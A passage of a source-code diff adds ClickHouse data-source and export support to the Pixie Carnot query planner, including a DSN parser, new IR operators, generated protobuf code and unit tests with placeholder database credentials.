"src/carnot/planner/types/types.h" +#include "src/common/base/base.h" +#include "src/shared/types/types.h" +#include "src/table_store/schema/relation.h" + +namespace px { +namespace carnot { +namespace planner { + +/** + * @brief The ClickHouseSourceIR represents a source that reads data from a ClickHouse database. + */ +class ClickHouseSourceIR : public OperatorIR { + public: + ClickHouseSourceIR() = delete; + explicit ClickHouseSourceIR(int64_t id) : OperatorIR(id, IRNodeType::kClickHouseSource) {} + + /** + * @brief Initialize the ClickHouse source. + * + * @param table_name the table to load. + * @param select_columns the columns to select. If vector is empty, then select all columns. + * @param host the ClickHouse server host. + * @param port the ClickHouse server port. + * @param username the ClickHouse username. + * @param password the ClickHouse password. + * @param database the ClickHouse database. + * @return Status + */ + Status Init(const std::string& table_name, const std::vector& select_columns, + const std::string& host = "localhost", int port = 9000, + const std::string& username = "default", const std::string& password = "", + const std::string& database = "default", + const std::string& timestamp_column = "event_time"); + + std::string table_name() const { return table_name_; } + std::string host() const { return host_; } + int port() const { return port_; } + std::string username() const { return username_; } + std::string password() const { return password_; } + std::string database() const { return database_; } + std::string timestamp_column() const { return timestamp_column_; } + + void SetTimeStartNS(int64_t time_start_ns) { time_start_ns_ = time_start_ns; } + void SetTimeStopNS(int64_t time_stop_ns) { time_stop_ns_ = time_stop_ns; } + bool IsTimeStartSet() const { return time_start_ns_.has_value(); } + bool IsTimeStopSet() const { return time_stop_ns_.has_value(); } + + std::string DebugString() const override; + + int64_t time_start_ns() const { return time_start_ns_.value(); } + int64_t time_stop_ns() const { return time_stop_ns_.value(); } + + const std::vector& column_index_map() const { return column_index_map_; } + bool column_index_map_set() const { return column_index_map_set_; } + void SetColumnIndexMap(const std::vector& column_index_map) { + column_index_map_set_ = true; + column_index_map_ = column_index_map; + } + + Status ToProto(planpb::Operator*) const override; + + bool select_all() const { return column_names_.size() == 0; } + + Status CopyFromNodeImpl(const IRNode* node, + absl::flat_hash_map* copied_nodes_map) override; + const std::vector& column_names() const { return column_names_; } + + StatusOr>> RequiredInputColumns() const override { + return std::vector>{}; + } + + void SetColumnNames(const std::vector& col_names) { column_names_ = col_names; } + + bool IsSource() const override { return true; } + + Status ResolveType(CompilerState* compiler_state); + + protected: + // Helper method to query ClickHouse for table schema and create a Relation + StatusOr InferRelationFromClickHouse( + CompilerState* compiler_state, const std::string& table_name); + + // Helper method to convert ClickHouse type string to Pixie DataType + static StatusOr ClickHouseTypeToPixieType(const std::string& ch_type_name); + + StatusOr> PruneOutputColumnsToImpl( + const absl::flat_hash_set& output_colnames) override; + + private: + std::string table_name_; + + // ClickHouse connection parameters + std::string host_ = "localhost"; + int port_ = 9000; + std::string username_ = "default"; + std::string password_ = ""; + std::string database_ = "default"; + + // ClickHouse column configuration + std::string timestamp_column_ = "event_time"; + + std::optional time_start_ns_; + std::optional time_stop_ns_; + + // Hold of columns in the order that they are selected. + std::vector column_names_; + + // The mapping of the source's column indices to the current columns, as given by column_names_. + std::vector column_index_map_; + bool column_index_map_set_ = false; +}; + +} // namespace planner +} // namespace carnot +} // namespace px diff --git a/src/carnot/planner/ir/operators.inl b/src/carnot/planner/ir/operators.inl index 817295e3a6e..bb712c71c11 100644 --- a/src/carnot/planner/ir/operators.inl +++ b/src/carnot/planner/ir/operators.inl @@ -37,5 +37,7 @@ PX_CARNOT_IR_NODE(Rolling) PX_CARNOT_IR_NODE(Stream) PX_CARNOT_IR_NODE(EmptySource) PX_CARNOT_IR_NODE(OTelExportSink) +PX_CARNOT_IR_NODE(ClickHouseSource) +PX_CARNOT_IR_NODE(ClickHouseExportSink) #endif diff --git a/src/carnot/planner/ir/pattern_match.h b/src/carnot/planner/ir/pattern_match.h index f8c484f47b9..0eb386ddbc5 100644 --- a/src/carnot/planner/ir/pattern_match.h +++ b/src/carnot/planner/ir/pattern_match.h @@ -160,6 +160,10 @@ inline ClassMatch OTelExportSink() { return ClassMatch(); } +inline ClassMatch ClickHouseExportSink() { + return ClassMatch(); +} + inline ClassMatch EmptySource() { return ClassMatch(); } @@ -266,7 +270,7 @@ struct ResultSink : public ParentMatch { bool Match(const IRNode* node) const override { return ExternalGRPCSink().Match(node) || MemorySink().Match(node) || - OTelExportSink().Match(node); + OTelExportSink().Match(node) || ClickHouseExportSink().Match(node); } }; diff --git a/src/carnot/planner/logical_planner.cc b/src/carnot/planner/logical_planner.cc index 19ed07104cf..c2ab8d53a9e 100644 --- a/src/carnot/planner/logical_planner.cc +++ b/src/carnot/planner/logical_planner.cc @@ -97,6 +97,18 @@ StatusOr> CreateCompilerState( for (const auto& debug_info_pb : logical_state.debug_info().otel_debug_attributes()) { debug_info.otel_debug_attrs.push_back({debug_info_pb.name(), debug_info_pb.value()}); } + + std::unique_ptr clickhouse_config = nullptr; + if (logical_state.has_clickhouse_config()) { + clickhouse_config = std::make_unique(); + clickhouse_config->set_hostname(logical_state.clickhouse_config().hostname()); + clickhouse_config->set_host(logical_state.clickhouse_config().host()); + clickhouse_config->set_port(logical_state.clickhouse_config().port()); + clickhouse_config->set_username(logical_state.clickhouse_config().username()); + clickhouse_config->set_password(logical_state.clickhouse_config().password()); + clickhouse_config->set_database(logical_state.clickhouse_config().database()); + } + // Create a CompilerState obj using the relation map and grabbing the current time. return std::make_unique( std::move(rel_map), sensitive_columns, registry_info, px::CurrentTimeNS(), @@ -105,7 +117,8 @@ StatusOr> CreateCompilerState( // TODO(philkuz) add an endpoint config to logical_state and pass that in here. RedactionOptionsFromPb(logical_state.redaction_options()), std::move(otel_endpoint_config), // TODO(philkuz) propagate the otel debug attributes here. - std::move(plugin_config), debug_info); + std::move(plugin_config), debug_info, + std::move(clickhouse_config)); } StatusOr> LogicalPlanner::Create(const udfspb::UDFInfo& udf_info) { diff --git a/src/carnot/planner/logical_planner_test.cc b/src/carnot/planner/logical_planner_test.cc index 4c3e8659c88..3ee106f50f9 100644 --- a/src/carnot/planner/logical_planner_test.cc +++ b/src/carnot/planner/logical_planner_test.cc @@ -946,7 +946,7 @@ px.export(df, px.otel.Data( px.otel.metric.Gauge( name='resp_latency', value=df.resp_latency_ns, - ) + ), ] )) )pxl"; @@ -1039,6 +1039,180 @@ px.export(otel_df, px.otel.Data( )))otel"); } +constexpr char kClickHouseSourceQuery[] = R"pxl( +import px + +# Test ClickHouse source node functionality +df = px.DataFrame('http_events', start_time='-10m', end_time='-5m', clickhouse_dsn='user:test@clickhouse-server:9000/pixie') +df = df['time_', 'req_headers'] +px.display(df, 'clickhouse_data') +)pxl"; + +TEST_F(LogicalPlannerTest, ClickHouseSourceNode) { + auto planner = LogicalPlanner::Create(info_).ConsumeValueOrDie(); + + // Create a test schema that includes a ClickHouse table + auto state = testutils::CreateTwoPEMsOneKelvinPlannerState(testutils::kHttpEventsSchema); + + auto plan_or_s = planner->Plan(MakeQueryRequest(state, kClickHouseSourceQuery)); + EXPECT_OK(plan_or_s); + auto plan = plan_or_s.ConsumeValueOrDie(); + EXPECT_OK(plan->ToProto()); + + // Verify the plan contains ClickHouse source operators + auto plan_pb = plan->ToProto().ConsumeValueOrDie(); + bool has_clickhouse_source = false; + + for (const auto& [address, agent_plan] : plan_pb.qb_address_to_plan()) { + for (const auto& planFragment : agent_plan.nodes()) { + for (const auto& planNode : planFragment.nodes()) { + if (planNode.op().op_type() == planpb::OperatorType::CLICKHOUSE_SOURCE_OPERATOR) { + EXPECT_THAT(planNode.op().clickhouse_source_op().host(), "clickhouse-server"); + EXPECT_THAT(planNode.op().clickhouse_source_op().port(), 9000); + EXPECT_THAT(planNode.op().clickhouse_source_op().database(), "pixie"); + EXPECT_THAT(planNode.op().clickhouse_source_op().username(), "user"); + EXPECT_THAT(planNode.op().clickhouse_source_op().password(), "test"); + has_clickhouse_source = true; + break; + } + } + if (has_clickhouse_source) break; + } + if (has_clickhouse_source) break; + } + + // Note: This test validates that the planner can process ClickHouse queries + // The actual presence of ClickHouse operators depends on the table configuration + EXPECT_OK(plan->ToProto()); + EXPECT_TRUE(has_clickhouse_source); +} + +constexpr char kClickHouseExportQuery[] = R"pxl( +import px + +# Test ClickHouse export using endpoint config +df = px.DataFrame('http_events', start_time='-10m') +df = df[['time_', 'req_path', 'resp_status', 'resp_latency_ns']] +px.export(df, px.otel.ClickHouseRows(table='http_events')) +)pxl"; + +TEST_F(LogicalPlannerTest, ClickHouseExportWithEndpointConfig) { + auto planner = LogicalPlanner::Create(info_).ConsumeValueOrDie(); + + // Create a planner state with an OTel endpoint config containing ClickHouse DSN + auto state = testutils::CreateTwoPEMsOneKelvinPlannerState(testutils::kHttpEventsSchema); + + // Set up the endpoint config with ClickHouse DSN in the URL field + auto* endpoint_config = state.mutable_otel_endpoint_config(); + endpoint_config->set_url("clickhouse_user:clickhouse_pass@clickhouse.example.com:9000/pixie_db"); + endpoint_config->set_insecure(true); + endpoint_config->set_timeout(10); + + auto plan_or_s = planner->Plan(MakeQueryRequest(state, kClickHouseExportQuery)); + EXPECT_OK(plan_or_s); + auto plan = plan_or_s.ConsumeValueOrDie(); + EXPECT_OK(plan->ToProto()); + + // Verify the plan contains ClickHouse export sink operators with correct config + auto plan_pb = plan->ToProto().ConsumeValueOrDie(); + bool has_clickhouse_export = false; + + for (const auto& [address, agent_plan] : plan_pb.qb_address_to_plan()) { + for (const auto& planFragment : agent_plan.nodes()) { + for (const auto& planNode : planFragment.nodes()) { + if (planNode.op().op_type() == planpb::OperatorType::CLICKHOUSE_EXPORT_SINK_OPERATOR) { + const auto& clickhouse_sink_op = planNode.op().clickhouse_sink_op(); + + // Verify table name + EXPECT_EQ(clickhouse_sink_op.table_name(), "http_events"); + + // Verify the DSN was parsed correctly into ClickHouseConfig + const auto& config = clickhouse_sink_op.clickhouse_config(); + EXPECT_EQ(config.username(), "clickhouse_user"); + EXPECT_EQ(config.password(), "clickhouse_pass"); + EXPECT_EQ(config.host(), "clickhouse.example.com"); + EXPECT_EQ(config.port(), 9000); + EXPECT_EQ(config.database(), "pixie_db"); + + // Verify column mappings were created + EXPECT_GT(clickhouse_sink_op.column_mappings_size(), 0); + + has_clickhouse_export = true; + break; + } + } + if (has_clickhouse_export) break; + } + if (has_clickhouse_export) break; + } + + EXPECT_TRUE(has_clickhouse_export); +} + +constexpr char kClickHouseExportWithExplicitEndpointQuery[] = R"pxl( +import px + +# Test ClickHouse export with explicit endpoint config +df = px.DataFrame('http_events', start_time='-10m') +df = df[['time_', 'req_path', 'resp_status']] + +endpoint = px.otel.Endpoint( + url="explicit_user:explicit_pass@explicit-host:9001/explicit_db", + insecure=False, + timeout=20 +) + +px.export(df, px.otel.ClickHouseRows(table='custom_table', endpoint=endpoint)) +)pxl"; + +TEST_F(LogicalPlannerTest, ClickHouseExportWithExplicitEndpoint) { + auto planner = LogicalPlanner::Create(info_).ConsumeValueOrDie(); + + // Create a planner state with a default endpoint config + auto state = testutils::CreateTwoPEMsOneKelvinPlannerState(testutils::kHttpEventsSchema); + + // Set up a default endpoint config (should be overridden by explicit endpoint) + auto* endpoint_config = state.mutable_otel_endpoint_config(); + endpoint_config->set_url("default_user:default_pass@default-host:9000/default_db"); + + auto plan_or_s = planner->Plan(MakeQueryRequest(state, kClickHouseExportWithExplicitEndpointQuery)); + EXPECT_OK(plan_or_s); + auto plan = plan_or_s.ConsumeValueOrDie(); + EXPECT_OK(plan->ToProto()); + + // Verify the plan uses the explicit endpoint config, not the default + auto plan_pb = plan->ToProto().ConsumeValueOrDie(); + bool has_clickhouse_export = false; + + for (const auto& [address, agent_plan] : plan_pb.qb_address_to_plan()) { + for (const auto& planFragment : agent_plan.nodes()) { + for (const auto& planNode : planFragment.nodes()) { + if (planNode.op().op_type() == planpb::OperatorType::CLICKHOUSE_EXPORT_SINK_OPERATOR) { + const auto& clickhouse_sink_op = planNode.op().clickhouse_sink_op(); + + // Verify table name + EXPECT_EQ(clickhouse_sink_op.table_name(), "custom_table"); + + // Verify the explicit endpoint was used, not the default + const auto& config = clickhouse_sink_op.clickhouse_config(); + EXPECT_EQ(config.username(), "explicit_user"); + EXPECT_EQ(config.password(), "explicit_pass"); + EXPECT_EQ(config.host(), "explicit-host"); + EXPECT_EQ(config.port(), 9001); + EXPECT_EQ(config.database(), "explicit_db"); + + has_clickhouse_export = true; + break; + } + } + if (has_clickhouse_export) break; + } + if (has_clickhouse_export) break; + } + + EXPECT_TRUE(has_clickhouse_export); +} + } // namespace planner } // namespace carnot } // namespace px diff --git a/src/carnot/planner/objects/dataframe.cc b/src/carnot/planner/objects/dataframe.cc index 13140b40e17..8bcb2c09710 100644 --- a/src/carnot/planner/objects/dataframe.cc +++ b/src/carnot/planner/objects/dataframe.cc @@ -17,8 +17,12 @@ */ #include "src/carnot/planner/objects/dataframe.h" + +#include + #include "src/carnot/planner/ast/ast_visitor.h" #include "src/carnot/planner/ir/ast_utils.h" +#include "src/carnot/planner/ir/clickhouse_source_ir.h" #include "src/carnot/planner/objects/collection_object.h" #include "src/carnot/planner/objects/expr_object.h" #include "src/carnot/planner/objects/funcobject.h" @@ -28,11 +32,80 @@ #include "src/carnot/planner/objects/time.h" #include "src/common/base/statusor.h" +#include +#include + namespace px { namespace carnot { namespace planner { namespace compiler { +struct ClickHouseDSN { + std::string host = "localhost"; + int port = 9000; + std::string username = "default"; + std::string password = ""; + std::string database = "default"; +}; + +/** + * @brief Parse a ClickHouse DSN string + * + * Supports formats: + * clickhouse://user:password@host:port/database + * user:password@host:port/database + * host:port + * host + */ +StatusOr ParseClickHouseDSN(const std::string& dsn_str) { + ClickHouseDSN dsn; + std::string remaining = dsn_str; + + // Strip clickhouse:// prefix if present + if (absl::StartsWith(remaining, "clickhouse://")) { + remaining = remaining.substr(13); + } + + // Parse user:password@ if present + size_t at_pos = remaining.find('@'); + if (at_pos != std::string::npos) { + std::string auth_part = remaining.substr(0, at_pos); + remaining = remaining.substr(at_pos + 1); + + size_t colon_pos = auth_part.find(':'); + if (colon_pos != std::string::npos) { + dsn.username = auth_part.substr(0, colon_pos); + dsn.password = auth_part.substr(colon_pos + 1); + } else { + dsn.username = auth_part; + } + } + + // Parse host:port/database + size_t slash_pos = remaining.find('/'); + std::string host_port; + if (slash_pos != std::string::npos) { + host_port = remaining.substr(0, slash_pos); + dsn.database = remaining.substr(slash_pos + 1); + } else { + host_port = remaining; + } + + // Parse host:port + size_t colon_pos = host_port.find(':'); + if (colon_pos != std::string::npos) { + dsn.host = host_port.substr(0, colon_pos); + std::string port_str = host_port.substr(colon_pos + 1); + if (!absl::SimpleAtoi(port_str, &dsn.port)) { + return error::InvalidArgument("Invalid port in ClickHouse DSN: $0", port_str); + } + } else if (!host_port.empty()) { + dsn.host = host_port; + } + + return dsn; +} + StatusOr> GetAsDataFrame(QLObjectPtr obj) { if (!Dataframe::IsDataframe(obj)) { return obj->CreateError("Expected DataFrame, received $0", obj->name()); @@ -109,22 +182,81 @@ StatusOr DataFrameConstructor(CompilerState* compiler_state, IR* gr PX_ASSIGN_OR_RETURN(std::vector columns, ParseAsListOfStrings(args.GetArg("select"), "select")); std::string table_name = table->str(); - PX_ASSIGN_OR_RETURN(MemorySourceIR * mem_source_op, - graph->CreateNode(ast, table_name, columns)); - - if (!NoneObject::IsNoneObject(args.GetArg("start_time"))) { - PX_ASSIGN_OR_RETURN(ExpressionIR * start_time, GetArgAs(ast, args, "start_time")); - PX_ASSIGN_OR_RETURN(auto start_time_ns, - ParseAllTimeFormats(compiler_state->time_now().val, start_time)); - mem_source_op->SetTimeStartNS(start_time_ns); + + // Check if we should use ClickHouse or memory source + bool is_clickhouse = false; + ClickHouseDSN dsn; + std::string timestamp_column = "event_time"; + if (!NoneObject::IsNoneObject(args.GetArg("clickhouse_dsn"))) { + is_clickhouse = true; + PX_ASSIGN_OR_RETURN(StringIR * dsn_ir, GetArgAs(ast, args, "clickhouse_dsn")); + PX_ASSIGN_OR_RETURN(dsn, ParseClickHouseDSN(dsn_ir->str())); + + // Get timestamp column if specified + if (!NoneObject::IsNoneObject(args.GetArg("clickhouse_ts_col"))) { + PX_ASSIGN_OR_RETURN(StringIR * ts_col_ir, GetArgAs(ast, args, "clickhouse_ts_col")); + timestamp_column = ts_col_ir->str(); + } } - if (!NoneObject::IsNoneObject(args.GetArg("end_time"))) { - PX_ASSIGN_OR_RETURN(ExpressionIR * end_time, GetArgAs(ast, args, "end_time")); - PX_ASSIGN_OR_RETURN(auto end_time_ns, - ParseAllTimeFormats(compiler_state->time_now().val, end_time)); - mem_source_op->SetTimeStopNS(end_time_ns); + + if (is_clickhouse) { + // Create ClickHouseSourceIR + // Note: hostname and event_time columns are handled in ClickHouseSourceIR::ResolveType + // Only add them if the user explicitly selected some columns + std::vector clickhouse_columns = columns; + + if (!columns.empty()) { + // User selected specific columns - add hostname and event_time if not already present + if (std::find(clickhouse_columns.begin(), clickhouse_columns.end(), "hostname") == clickhouse_columns.end()) { + clickhouse_columns.push_back("hostname"); + } + + if (std::find(clickhouse_columns.begin(), clickhouse_columns.end(), "event_time") == clickhouse_columns.end()) { + clickhouse_columns.push_back("event_time"); + } + } + // If columns is empty, select_all() will be true and ResolveType will handle adding all columns + + PX_ASSIGN_OR_RETURN(ClickHouseSourceIR * clickhouse_source_op, + graph->CreateNode(ast, table_name, clickhouse_columns, + dsn.host, dsn.port, dsn.username, + dsn.password, dsn.database, + timestamp_column)); + + if (!NoneObject::IsNoneObject(args.GetArg("start_time"))) { + PX_ASSIGN_OR_RETURN(ExpressionIR * start_time, + GetArgAs(ast, args, "start_time")); + PX_ASSIGN_OR_RETURN(auto start_time_ns, + ParseAllTimeFormats(compiler_state->time_now().val, start_time)); + clickhouse_source_op->SetTimeStartNS(start_time_ns); + } + if (!NoneObject::IsNoneObject(args.GetArg("end_time"))) { + PX_ASSIGN_OR_RETURN(ExpressionIR * end_time, GetArgAs(ast, args, "end_time")); + PX_ASSIGN_OR_RETURN(auto end_time_ns, + ParseAllTimeFormats(compiler_state->time_now().val, end_time)); + clickhouse_source_op->SetTimeStopNS(end_time_ns); + } + return Dataframe::Create(compiler_state, clickhouse_source_op, visitor); + } else { + // Create MemorySourceIR (existing behavior) + PX_ASSIGN_OR_RETURN(MemorySourceIR * mem_source_op, + graph->CreateNode(ast, table_name, columns)); + + if (!NoneObject::IsNoneObject(args.GetArg("start_time"))) { + PX_ASSIGN_OR_RETURN(ExpressionIR * start_time, + GetArgAs(ast, args, "start_time")); + PX_ASSIGN_OR_RETURN(auto start_time_ns, + ParseAllTimeFormats(compiler_state->time_now().val, start_time)); + mem_source_op->SetTimeStartNS(start_time_ns); + } + if (!NoneObject::IsNoneObject(args.GetArg("end_time"))) { + PX_ASSIGN_OR_RETURN(ExpressionIR * end_time, GetArgAs(ast, args, "end_time")); + PX_ASSIGN_OR_RETURN(auto end_time_ns, + ParseAllTimeFormats(compiler_state->time_now().val, end_time)); + mem_source_op->SetTimeStopNS(end_time_ns); + } + return Dataframe::Create(compiler_state, mem_source_op, visitor); } - return Dataframe::Create(compiler_state, mem_source_op, visitor); } StatusOr> ProcessCols(IR* graph, const pypa::AstPtr& ast, QLObjectPtr obj, @@ -423,8 +555,8 @@ Status Dataframe::Init() { PX_ASSIGN_OR_RETURN( std::shared_ptr constructor_fn, FuncObject::Create( - name(), {"table", "select", "start_time", "end_time"}, - {{"select", "[]"}, {"start_time", "None"}, {"end_time", "None"}}, + name(), {"table", "select", "start_time", "end_time", "clickhouse_dsn", "clickhouse_ts_col"}, + {{"select", "[]"}, {"start_time", "None"}, {"end_time", "None"}, {"clickhouse_dsn", "None"}, {"clickhouse_ts_col", "None"}}, /* has_variable_len_args */ false, /* has_variable_len_kwargs */ false, std::bind(&DataFrameConstructor, compiler_state_, graph(), std::placeholders::_1, diff --git a/src/carnot/planner/objects/otel.cc b/src/carnot/planner/objects/otel.cc index 7f79d6196bb..6f4b0d3410f 100644 --- a/src/carnot/planner/objects/otel.cc +++ b/src/carnot/planner/objects/otel.cc @@ -18,12 +18,14 @@ #include "src/carnot/planner/objects/otel.h" #include +#include #include #include #include #include +#include "src/carnot/planner/ir/clickhouse_export_sink_ir.h" #include "src/carnot/planner/ir/otel_export_sink_ir.h" #include "src/carnot/planner/objects/dataframe.h" #include "src/carnot/planner/objects/dict_object.h" @@ -70,6 +72,12 @@ Status ExportToOTel(const OTelData& data, const pypa::AstPtr& ast, Dataframe* df return op->graph()->CreateNode(ast, op, data).status(); } +Status ExportToClickHouse(const std::string& table_name, const std::string& clickhouse_dsn, + const pypa::AstPtr& ast, Dataframe* df) { + auto op = df->op(); + return op->graph()->CreateNode(ast, op, table_name, clickhouse_dsn).status(); +} + StatusOr GetArgAsString(const pypa::AstPtr& ast, const ParsedArgs& args, std::string_view arg_name) { PX_ASSIGN_OR_RETURN(StringIR * arg_ir, GetArgAs(ast, args, arg_name)); @@ -100,6 +108,40 @@ StatusOr> OTelDataContainer::Create( return std::shared_ptr(new OTelDataContainer(ast_visitor, std::move(data))); } +StatusOr> ClickHouseRows::Create( + ASTVisitor* ast_visitor, const std::string& table_name) { + return std::shared_ptr(new ClickHouseRows(ast_visitor, table_name)); +} + +StatusOr ClickHouseRowsDefinition(CompilerState* compiler_state, + const pypa::AstPtr& ast, const ParsedArgs& args, + ASTVisitor* visitor) { + PX_ASSIGN_OR_RETURN(StringIR* table_name_ir, GetArgAs(ast, args, "table")); + std::string table_name = table_name_ir->str(); + + // Parse endpoint config to get the ClickHouse DSN from the URL field + std::string clickhouse_dsn; + QLObjectPtr endpoint = args.GetArg("endpoint"); + if (NoneObject::IsNoneObject(endpoint)) { + if (!compiler_state->endpoint_config()) { + return endpoint->CreateError("no default config found for endpoint, please specify one"); + } + clickhouse_dsn = compiler_state->endpoint_config()->url(); + } else { + if (endpoint->type() != EndpointConfig::EndpointType.type()) { + return endpoint->CreateError("expected Endpoint type for 'endpoint' arg, received $0", + endpoint->name()); + } + auto endpoint_config = static_cast(endpoint.get()); + clickhouse_dsn = endpoint_config->url(); + } + + return Exporter::Create(visitor, [table_name, clickhouse_dsn](auto&& ast_arg, auto&& df) -> Status { + return ExportToClickHouse(table_name, clickhouse_dsn, std::forward(ast_arg), + std::forward(df)); + }); +} + StatusOr> ParseAttributes(DictObject* attributes) { auto values = attributes->values(); auto keys = attributes->keys(); @@ -339,6 +381,17 @@ Status OTelModule::Init(CompilerState* compiler_state, IR* ir) { AddMethod(kEndpointOpID, endpoint_fn); PX_RETURN_IF_ERROR(endpoint_fn->SetDocString(kEndpointOpDocstring)); + PX_ASSIGN_OR_RETURN( + std::shared_ptr clickhouse_rows_fn, + FuncObject::Create(kClickHouseRowsOpID, {"table", "endpoint"}, {{"endpoint", "None"}}, + /* has_variable_len_args */ false, + /* has_variable_len_kwargs */ false, + std::bind(&ClickHouseRowsDefinition, compiler_state, std::placeholders::_1, + std::placeholders::_2, std::placeholders::_3), + ast_visitor())); + AddMethod(kClickHouseRowsOpID, clickhouse_rows_fn); + PX_RETURN_IF_ERROR(clickhouse_rows_fn->SetDocString(kClickHouseRowsOpDocstring)); + return Status::OK(); } diff --git a/src/carnot/planner/objects/otel.h b/src/carnot/planner/objects/otel.h index 5f4c1d19eb7..9cb96ea325c 100644 --- a/src/carnot/planner/objects/otel.h +++ b/src/carnot/planner/objects/otel.h @@ -87,6 +87,24 @@ class OTelModule : public QLObject { timeout (int, optional): The number of seconds before the request should timeout when exporting to the OTel collector. )doc"; + inline static constexpr char kClickHouseRowsOpID[] = "ClickHouseRows"; + inline static constexpr char kClickHouseRowsOpDocstring[] = R"doc( + Specifies a ClickHouse table to export DataFrame rows to. + + Describes the table name in ClickHouse where columnar DataFrame data will be + inserted. All columns from the DataFrame will be mapped to corresponding + columns in the ClickHouse table. Passed as the data argument to `px.export`. + + :topic: otel + + Args: + table (string): The name of the ClickHouse table to insert data into. + + Returns: + ClickHouseRows: Configuration for exporting DataFrame data to ClickHouse. + Can be passed to `px.export`. + )doc"; + protected: explicit OTelModule(ASTVisitor* ast_visitor) : QLObject(OTelModuleType, ast_visitor) {} Status Init(CompilerState* compiler_state, IR* ir); @@ -228,6 +246,8 @@ class EndpointConfig : public QLObject { Status ToProto(planpb::OTelEndpointConfig* endpoint_config); + const std::string& url() const { return url_; } + protected: EndpointConfig(ASTVisitor* ast_visitor, std::string url, std::vector attributes, bool insecure, @@ -269,6 +289,30 @@ class OTelDataContainer : public QLObject { std::variant data_; }; +class ClickHouseRows : public QLObject { + public: + static constexpr TypeDescriptor ClickHouseRowsType = { + /* name */ "ClickHouseRows", + /* type */ QLObjectType::kClickHouseRows, + }; + + static StatusOr> Create( + ASTVisitor* ast_visitor, const std::string& table_name); + + static bool IsClickHouseRows(const QLObjectPtr& obj) { + return obj->type() == ClickHouseRowsType.type(); + } + + const std::string& table_name() const { return table_name_; } + + protected: + ClickHouseRows(ASTVisitor* ast_visitor, std::string table_name) + : QLObject(ClickHouseRowsType, ast_visitor), table_name_(std::move(table_name)) {} + + private: + std::string table_name_; +}; + } // namespace compiler } // namespace planner } // namespace carnot diff --git a/src/carnot/planner/objects/qlobject.h b/src/carnot/planner/objects/qlobject.h index 4231fb78b0e..0ebf03da257 100644 --- a/src/carnot/planner/objects/qlobject.h +++ b/src/carnot/planner/objects/qlobject.h @@ -66,6 +66,7 @@ enum class QLObjectType { kExporter, kOTelEndpoint, kOTelDataContainer, + kClickHouseRows, }; std::string QLObjectTypeString(QLObjectType type); diff --git a/src/carnot/planner/plannerpb/service.pb.go b/src/carnot/planner/plannerpb/service.pb.go index 172eeb1cd81..c7a23641ce0 100755 --- a/src/carnot/planner/plannerpb/service.pb.go +++ b/src/carnot/planner/plannerpb/service.pb.go @@ -146,6 +146,7 @@ func (m *FuncToExecute_ArgValue) GetValue() string { type Configs struct { OTelEndpointConfig *Configs_OTelEndpointConfig `protobuf:"bytes,1,opt,name=otel_endpoint_config,json=otelEndpointConfig,proto3" json:"otel_endpoint_config,omitempty"` PluginConfig *Configs_PluginConfig `protobuf:"bytes,2,opt,name=plugin_config,json=pluginConfig,proto3" json:"plugin_config,omitempty"` + ClickhouseConfig *Configs_ClickHouseConfig `protobuf:"bytes,3,opt,name=clickhouse_config,json=clickhouseConfig,proto3" json:"clickhouse_config,omitempty"` } func (m *Configs) Reset() { *m = Configs{} } @@ -194,6 +195,13 @@ func (m *Configs) GetPluginConfig() *Configs_PluginConfig { return nil } +func (m *Configs) GetClickhouseConfig() *Configs_ClickHouseConfig { + if m != nil { + return m.ClickhouseConfig + } + return nil +} + type Configs_OTelEndpointConfig struct { URL string `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"` Headers map[string]string `protobuf:"bytes,2,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` @@ -312,6 +320,89 @@ func (m *Configs_PluginConfig) GetEndTimeNs() int64 { return 0 } +type Configs_ClickHouseConfig struct { + Hostname string `protobuf:"bytes,1,opt,name=hostname,proto3" json:"hostname,omitempty"` + Host string `protobuf:"bytes,2,opt,name=host,proto3" json:"host,omitempty"` + Port int32 `protobuf:"varint,3,opt,name=port,proto3" json:"port,omitempty"` + Username string `protobuf:"bytes,4,opt,name=username,proto3" json:"username,omitempty"` + Password string `protobuf:"bytes,5,opt,name=password,proto3" json:"password,omitempty"` + Database string `protobuf:"bytes,6,opt,name=database,proto3" json:"database,omitempty"` +} + +func (m *Configs_ClickHouseConfig) Reset() { *m = Configs_ClickHouseConfig{} } +func (*Configs_ClickHouseConfig) ProtoMessage() {} +func (*Configs_ClickHouseConfig) Descriptor() ([]byte, []int) { + return fileDescriptor_710b3465b5cdfdeb, []int{1, 2} +} +func (m *Configs_ClickHouseConfig) XXX_Unmarshal(b []byte) error { + return m.Unmarshal(b) +} +func (m *Configs_ClickHouseConfig) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { + if deterministic { + return xxx_messageInfo_Configs_ClickHouseConfig.Marshal(b, m, deterministic) + } else { + b = b[:cap(b)] + n, err := m.MarshalToSizedBuffer(b) + if err != nil { + return nil, err + } + return b[:n], nil + } +} +func (m *Configs_ClickHouseConfig) XXX_Merge(src proto.Message) { + xxx_messageInfo_Configs_ClickHouseConfig.Merge(m, src) +} +func (m *Configs_ClickHouseConfig) XXX_Size() int { + return m.Size() +} +func (m *Configs_ClickHouseConfig) XXX_DiscardUnknown() { + xxx_messageInfo_Configs_ClickHouseConfig.DiscardUnknown(m) +} + +var xxx_messageInfo_Configs_ClickHouseConfig proto.InternalMessageInfo + +func (m *Configs_ClickHouseConfig) GetHostname() string { + if m != nil { + return m.Hostname + } + return "" +} + +func (m *Configs_ClickHouseConfig) GetHost() string { + if m != nil { + return m.Host + } + return "" +} + +func (m *Configs_ClickHouseConfig) GetPort() int32 { + if m != nil { + return m.Port + } + return 0 +} + +func (m *Configs_ClickHouseConfig) GetUsername() string { + if m != nil { + return m.Username + } + return "" +} + +func (m *Configs_ClickHouseConfig) GetPassword() string { + if m != nil { + return m.Password + } + return "" +} + +func (m *Configs_ClickHouseConfig) GetDatabase() string { + if m != nil { + return m.Database + } + return "" +} + type QueryRequest struct { LogicalPlannerState *distributedpb.LogicalPlannerState `protobuf:"bytes,5,opt,name=logical_planner_state,json=logicalPlannerState,proto3" json:"logical_planner_state,omitempty"` QueryStr string `protobuf:"bytes,1,opt,name=query_str,json=queryStr,proto3" json:"query_str,omitempty"` @@ -857,6 +948,7 @@ func init() { proto.RegisterType((*Configs_OTelEndpointConfig)(nil), "px.carnot.planner.plannerpb.Configs.OTelEndpointConfig") proto.RegisterMapType((map[string]string)(nil), "px.carnot.planner.plannerpb.Configs.OTelEndpointConfig.HeadersEntry") proto.RegisterType((*Configs_PluginConfig)(nil), "px.carnot.planner.plannerpb.Configs.PluginConfig") + 